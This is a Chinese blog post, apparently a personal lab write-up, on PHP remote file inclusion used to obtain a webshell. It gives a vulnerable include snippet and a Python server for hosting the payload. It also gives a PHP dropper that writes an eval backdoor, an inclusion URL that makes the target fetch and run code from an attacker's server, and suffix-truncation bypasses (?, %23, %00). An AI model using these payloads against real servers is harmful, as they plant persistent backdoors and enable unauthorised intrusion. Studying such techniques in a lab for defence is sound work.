远程包含漏洞获取webshell小实验
前言
? 最近刚刚买了个小小的云服务器(哥们也是有服务器的人啦),可以更舒服的进行测试了,测试场景也更加真实,过段时间搭建一个博客,到时候就两边都发文章了。
? ok,直接开始今天的远程包含漏洞(RFI)小实验
原理
? 远程包含漏洞往往都是用 http:// 伪协议完成,由于服务器的 php.ini 中开启了 allow_url_open = On 和 allow_url_include = On,并且在php后端代码中,有 include、require等包含函数,其中包含的文件我们可以控制,那么就会形成文件包含漏洞,这里主要讲文件包含漏洞中的远程包含漏洞(本地文件包含其实种类更多)
开始实验
靶机:我们要攻击的一台主机服务器(allow_url_open = On 和 allow_url_include = On,实验时修改 php.ini 即可)
中间攻击机:具有公网ip的主机
攻击机:本机
如上是实验环境,如果中间攻击机能直接连接靶机的话,其实也不需要攻击机(本机)
情况一:
后端对传入文件名不进行过滤,主机服务器后端代码基本上如下:
<?php
$file = $_GET['file'];
include($file);
?>
如上,我们需要准备一台有公网ip的主机(一般都是远程主机,我这里是云服务器),在云服务器中开启 http 服务,并在服务器中设置木马下载文件,在 url 中让目标主机ip(靶机)访问我们这台云服务器(中间攻击机)的木马下载文件,即可将木马植入靶机中,然后再在攻击机中打开蚁剑连接靶机,即可getshell
1、使用中间件进行开启,比如apache
service apache2 start 开始监听,不过这个要配置过,不是很会
2、直接用python代码搭建一个简易的客户端,如下:监听8000端口
from http.server import SimpleHTTPRequestHandler
from http.server import CGIHTTPRequestHandler
from http.server import ThreadingHTTPServer
from functools import partial
import os
import contextlib
import sys
import socket
class DualStackServer(ThreadingHTTPServer):
def server_bind(self):
with contextlib.suppress(Exception):
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
return super().server_bind()
def run(server_class=DualStackServer,
handler_class=SimpleHTTPRequestHandler,
port=8000,
bind='0.0.0.0',
cgi=False,
directory=os.getcwd()):
"""Run an HTTP server on port 8000 (or the port argument).
Args:
server_class (_type_, optional): Class of server. Defaults to DualStackServer.
handler_class (_type_, optional): Class of handler. Defaults to SimpleHTTPRequestHandler.
port (int, optional): Specify alternate port. Defaults to 8000.
bind (str, optional): Specify alternate bind address. Defaults to '127.0.0.1'.
cgi (bool, optional): Run as CGI Server. Defaults to False.
directory (_type_, optional): Specify alternative directory. Defaults to os.getcwd().
"""
if cgi:
handler_class = partial(CGIHTTPRequestHandler, directory=directory)
else:
handler_class = partial(SimpleHTTPRequestHandler, directory=directory)
with server_class((bind, port), handler_class) as httpd:
print(
f"Serving HTTP on {bind} port {port} "
f"(http://{bind}:{port}/) ..."
)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt received, exiting.")
sys.exit(0)
if __name__ == '__main__':
run(port=8000, bind='0.0.0.0')
<?php
$a = "<?php @eval(\$_REQUEST['shell'])?>";
$b = fopen("a.php","w") or die("failed!");
fwrite($b,$a);
echo 'success.';
fclose($b);
?>
# 在攻击机中,我们在浏览器中去访问靶机,并使file包含中间攻击机的木马下载文件,payload如下:
http://主机ip/include.php?file=http://远程服务器/shell.txt
如上,shell.txt中的内容会被靶机的php服务器解析,并在 include.php 同目录下创建一个 a.php ,此时靶机中就安装了一个后门,直接用蚁剑连接即可。
情况二:
对后端进行了简单的过滤,代码变成了这样:
<?php
$file = $_GET['file'];
include($file . ".html");
?>
这种情况的处理也异常简单,绕过即可
绕过方法:
-
? 绕过 http://主机ip/include.php?file=http://远程服务器/shell.txt? -
%23 绕过 http://主机ip/include.php?file=http://远程服务器/shell.txt%23 -
%20 绕过 -
%00 绕过
不管是.html还是其他字符串,都可以用这种方法截断,然后下载木马,最终getshell
参考文章:
1、https://blog.csdn.net/qq_42951560/article/details/124218348?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166661817316782248584287%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=166661817316782248584287&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allbaidu_landing_v2~default-2-124218348-null-null.142
2、https://www.likecs.com/show-204958128.html
|